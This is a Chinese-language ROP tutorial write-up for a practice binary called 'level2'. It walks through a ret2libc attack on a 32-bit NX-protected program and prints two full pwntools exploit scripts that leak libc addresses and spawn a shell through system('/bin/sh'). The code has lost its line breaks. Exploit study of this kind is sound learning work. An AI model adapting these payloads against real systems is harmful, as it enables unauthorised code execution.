蒸米--一步一步学ROPx86--level2
1.运行程序
2.检查程序。32位程序,动态链接,开启了NX(不可执行)保护。也就是说我们不能直接通过写shellcode然后让程序执行这段shellcode来pwn掉它。
3.载入IDA中。很显然有一个可以过量输入而造成的栈溢出。当然程序中并没有 system 和 /bin/sh ,因此我们需要到 libc 中去找到相应的代码,即ret2libc。
4.计算溢出点。
$cyclic 200 #生成200个字符 $cyclic -l xxxxxxxx #计算覆盖长度
5.通过 objdump 或者 ida 查看 plt 表,其中有 write@plt ,因此我们可以通过它将其他函数在内存中的地址打印出来,之后我们便可以得到 libc 的版本,从而获取 system 函数和 /bin/sh 字符串。
6.之后我们可以初步编辑 exp。执行后便可以得到相应函数的地址。
#!/usr/bin/env python from pwn import * p = process('./level2') elf = ELF('level2') write_plt = elf.plt['write'] write_got = elf.got['write'] read_plt = elf.plt['read'] read_got = elf.got['read'] libc_start_main = elf.plt['__libc_start_main'] func = 0x08048404 #print hex(libc_start_main) payload = 'a' * 140 payload += p32(write_plt) payload += p32(func) payload += p32(1) payload += p32(write_got) ##需要泄露的函数的地址 payload += p32(4) p.sendline(payload)
addr = u32(p.recv()[0:4])
print hex(addr) p.interactive() #print "read_got = 0xf7ec3cb0" ##得到 read_got 地址 #print "write_got = 0xf7ec3d80" ##得到 write_got 地址
7.根据得到的地址,我们可以通过 libc 来查找相应的 libc 版本,并得到 system 和 /bin/sh。
8.之后便能构造完整的 exp 了。
#!/usr/bin/env python from pwn import * p = process('./level2') elf = ELF('level2') write_plt = elf.plt['write'] write_got = elf.got['write'] read_plt = elf.plt['read'] read_got = elf.got['read'] libc_start_main = elf.plt['__libc_start_main'] func = 0x08048404 #print hex(libc_start_main) #payload = 'a' * 140 #payload += p32(write_plt) #payload += p32(func) #payload += p32(1) #payload += p32(write_got) #payload += p32(4) print "read_got = 0xf7ec3cb0" print "write_got = 0xf7ec3d80" #p.sendline(payload) read_got = 0xf7ec3cb0 write_got = 0xf7ec3d80 base = write_got - 0x0e6d80 system = base + 0x03d200 bin_sh = base + 0x17e0cf payload = '' #重新设置payload payload += 'a' * 140 payload += p32(system) payload += p32(0xdeadbeef) #system()的返回地址,我们之后并不做什么事情了,因此随意给了个值 payload += p32(bin_sh) print hex(system) print hex(bin_sh) p.sendline(payload) p.interactive()